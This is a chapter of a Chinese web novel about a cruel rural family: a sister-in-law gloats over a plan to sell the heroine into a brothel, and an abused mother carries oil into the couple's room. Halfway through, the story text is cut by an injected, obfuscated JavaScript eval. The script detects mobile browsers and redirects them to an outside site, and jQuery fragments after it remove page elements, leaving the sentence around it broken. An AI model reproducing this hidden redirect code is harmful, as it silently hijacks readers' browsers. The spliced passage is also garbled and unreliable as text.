第49章沈家的人都该死

作品:《断亲嫁山野糙汉,被夫家宠成宝

    等天黑下来,小姑子就该被卖掉了。


    这次被卖,跟前两次的被卖可不一样。


    这次是要把人卖进窑子里去。


    那是个让女人想起来就不寒而栗的地方。


    想到这些,脑子里面便自动浮现出沈玉楼痛哭绝望挣扎的模样,云桃的心情更加美妙了。


    “相公,你过来,我有事跟你说。”


    她放下怀中的小猫,朝身后招了招手。


    正给她捏肩膀的沈青山便走到她前面,在她面前蹲下,笑着问她:“啥事啊?你说。”


    嘴里面说着话,手里也没闲着,又开始云桃捏腿。


    推,敲,揉,一下又一下,动作十分娴熟,可见他平时就没少做这样的事。


    云桃显然也习惯了他这种伺候,目光温柔地望着他笑。


    这笑仿佛是一种认可,沈青山立马觉得浑身都是劲儿,连一日的疲劳似乎都淡了不少。


    他更加卖力认真地帮云桃捏腿,还时不时地抬起眼眸冲云桃笑。


    “力道重不重?重了啊?那我再轻点。”


    “对了,我给你买了你最喜欢吃的点心,是甘香斋的,还有些时令瓜果,一会儿我拿来你吃。”


    “我听村里的老人们说,小产最是伤身子了,你要多休息,想吃啥跟我说,我给你做。”


    心里眼里都是面前这个人,再看不到其他,因此也就没注意,阴暗潮湿的杂物间里,正有一双眼睛死死地盯着他和他眼里的人。


    眼睛的主人是周氏。


    那日,她被儿子沈青山关在门外面,直到天黑了,下雨了,沈青山才打开院门让她进去。


    本来以为事情就这么过去了,哪曾想属于她的苦难,才刚刚开始。


    她在沈家的日子越发难过煎熬,吃不饱饭不说,每天天不亮就要起床干活,晚上等家里面所有人都睡下了,她才能回到她的杂物间,裹着一床破棉被瑟瑟发抖到天亮。


    这样的磋磨,就是身强力壮的大男人都熬不住,何况是周氏?


    短短不过十来天功夫,周氏整个人又缩小了一大圈。


    今日没出来干活,还是因为她生病了,实在下不来床。


    此刻,她蓬头垢面,满脸怨毒,眼睛死死地盯着院子里的两个人,恨不能将这二人拆吃入腹。


    她一把屎一把尿养大的儿子,娶了媳妇忘了娘,还联合媳妇一块儿磋磨她!


    还有沈魁那个狗东西,她为他生了一双儿女,就算没有功劳也有苦劳不是?


    结果那个狗男人却嫌弃她人老珠黄,对她又打又骂,任由儿子和儿媳磋磨她!


    沈玉楼那个贱蹄子更是该死,竟然不认她这个娘!


    沈家的人没有一个是好东西!


    他们都该死!


    都该死!


    该死!


    周氏越想越愤怒,越想越不甘心,两眼猩红,从杂物间里溜出来,又悄悄地溜进厨房,抱起了昨日新打回来的一坛油。


    然而,不管是沈青山,还是云桃,两人这时谁也没空想起她,也没注意到她抱着油坛子摸进了两人住的屋子。


    云桃望着满心满眼都是她的男人,努力酝酿情绪。


    该说不说,别看公婆两口子不做人,将小姑子卖了又卖,但两人的相貌其实都还不错。


    据说她婆婆周氏,做姑娘的时候,还是十里八乡未婚小伙子疯狂追求的对象呢。


    老两口生下的一双儿女,长相也都是挑着他们夫妻俩的优点长的,尤其是她那个小姑子,哪怕是破衣烂衫蓬头垢面,依旧美得令人移不开眼。


    也是她一进门,就讨厌这个小姑子的原因。


    没有人,可以美得过她。


    而当初,她会选择嫁给沈青山,不仅仅是因为她在沈青山身上看到了妻奴属性,还因为沈青山长得俊。


    可惜啊,曾经俊朗的小伙子,因为长年在地里面刨食,风吹日晒下,肤色变得黝黑粗糙,早不复当年的俊朗了。


    真是奇怪,同样的爹娘,为什么妹妹越长越水灵,哥哥却越长越难看呢?


    望着再不是当年俊小伙的沈青山,云桃的眼底闪过抹厌恶,兴致都减淡了些。


    但是一想到沈玉楼马上就要掉进水深火热中,云桃又兴奋起来。


    她忍着不喜,捧住沈青山的脸,在他额头上轻轻吻了下,然后满脸娇羞地说:“相公,我的身子,已经恢复了。”


    今日是个大快人心的好日子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019621|178494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,当然该做些令人心情愉悦的事情才对。


    便宜这男人了。


    自从生产后,云桃便一直以身体不适为由,拒绝跟沈青山行夫妻之事。


    没想到今日她竟主动释放信号。


    沈青山愣怔了一瞬后,随即大喜,起身说道:“我方才回来的时候,看见山下的桃树开花了,我这就去摘一些回来,你晚上沐浴时用!”


    别看云桃生在乡下,长在乡下,但日子却过得十分精致。


    就说这沐浴,为了节省木材,一般乡下妇人都是以擦洗为主,只要能洗干净就成了。


    可是云桃不。


    她沐浴的时候,光是热水就得装满一个大浴桶,水里面还得撒上花瓣才行。


    沈青山深知她的喜好,当即便找了个篮子拎在手中,准备去山下给她摘今年新开的桃花。


    结果院门才打开,就看见门外站着两个人。


    他惊讶了一下,视线从赵四郎身上一扫而过,然后落在沈玉楼身上,皱眉问道:“你又来干嘛?有事吗?”


    沈玉楼毫不意外他语气中的厌恶和不耐烦。


    原主还在沈家当牛做马的时候,都没能换来沈青山这个兄长的半分怜爱,何况是现在?


    于是她便也不跟沈青山绕圈子,直接说道:“我过来找云氏,有话问她。”


    她说的是云氏,而不是大嫂。


    沈青山眼中的不耐烦瞬间上升为不满。


    再看看她态度中的淡漠和疏离,沈青山出奇地愤怒了,怒声呵斥道:“没有规矩!云氏是你叫的吗?她是你大婶!”


    “大嫂?哼。”沈玉楼哼笑,“当初你们把我卖进赵家时,我的**契上就写得清清楚楚,我和你们沈家人一刀两断,再无任何关系。”


    “所以现在,我既没有爹娘,也没有兄长,又哪来的大嫂?”


    “你!”沈青山没料到她非但不知错,竟还敢顶嘴,气得面孔涨红,扬手就要朝她脸上打去。


    可惜,不等他巴掌落下,手腕又被一只大手掌攥住。


    就跟先前在大街上一模一样。


    赵四郎像座大山一样挡在了沈玉楼面前,满身的压迫感倾泻而出,目光冷厉地望着沈青山。